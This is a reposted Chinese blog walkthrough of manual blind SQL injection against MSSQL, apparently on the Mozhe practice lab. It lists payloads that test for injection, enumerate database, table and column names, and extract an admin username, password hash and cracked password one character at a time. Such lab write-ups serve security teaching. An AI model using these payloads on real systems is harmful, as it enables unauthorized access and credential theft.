标签：manage exists 盲注 手注 substring unicode where Mssql select
1.判断是否存在注入
'
and 1=1
and 1=2
2.猜解数据库名
and exists(select top 1 name from Master..SysDatabases where unicode(substring(name,1,1))=109)
and exists(select top 1 name from Master..SysDatabases where unicode(substring(name,2,1))=111)
.......
and exists(select top 1 name from Master..SysDatabases where unicode(substring(name,1,1))=111 and name not in ('mozhe_db_v2.dbo.sysobjects'))
3.猜解表名
and exists(select top 1 name from mozhe_db_v2.dbo.sysobjects where unicode(substring(name,1,1))=109)
and exists(select top 1 name from mozhe_db_v2.dbo.sysobjects where unicode(substring(name,1,1))=109 and name not in ('manage'))
4.猜解列名
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'manage') and unicode(substring(name,1,1))=117)
5.逐字猜解数据
and exists(select id from manage where unicode(substring(username,1,1))=97 and ID=1)
and exists(select id from manage where unicode(substring(username,2,1))=100 and ID=1)
and exists(select id from manage where unicode(substring(username,3,1))=109 and ID=1)
and exists(select id from manage where unicode(substring(username,4,1))=105 and ID=1)
and exists(select id from manage where unicode(substring(username,5,1))=110 and ID=1)
and exists(select id from manage where unicode(substring(username,6,1))=95 and ID=1)
and exists(select id from manage where unicode(substring(username,7,1))=109 and ID=1)
and exists(select id from manage where unicode(substring(username,8,1))=122 and ID=1)
最后得到的username值是：admin_mz
and exists(select id from manage where unicode(substring(password,1,1))=55 and ID=1)
and exists(select id from manage where unicode(substring(password,2,1))=50 and ID=1)
and exists(select id from manage where unicode(substring(password,3,1))=101 and ID=1)
and exists(select id from manage where unicode(substring(password,4,1))=49 and ID=1)
and exists(select id from manage where unicode(substring(password,5,1))=98 and ID=1)
and exists(select id from manage where unicode(substring(password,6,1))=102 and ID=1)
and exists(select id from manage where unicode(substring(password,7,1))=99 and ID=1)
and exists(select id from manage where unicode(substring(password,8,1))=51 and ID=1)
and exists(select id from manage where unicode(substring(password,9,1))=102 and ID=1)
and exists(select id from manage where unicode(substring(password,10,1))=48 and ID=1)
and exists(select id from manage where unicode(substring(password,11,1))=49 and ID=1)
and exists(select id from manage where unicode(substring(password,12,1))=98 and ID=1)
and exists(select id from manage where unicode(substring(password,13,1))=55 and ID=1)
and exists(select id from manage where unicode(substring(password,14,1))=53 and ID=1)
and exists(select id from manage where unicode(substring(password,15,1))=56 and ID=1)
and exists(select id from manage where unicode(substring(password,16,1))=51 and ID=1)
最后得到的password值是：72e1bfc3f01b7583 解密：97285101
标签：manage,exists,盲注,手注,substring,unicode,where,Mssql,select 来源： https://www.cnblogs.com/ling-chen/p/15672699.html
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。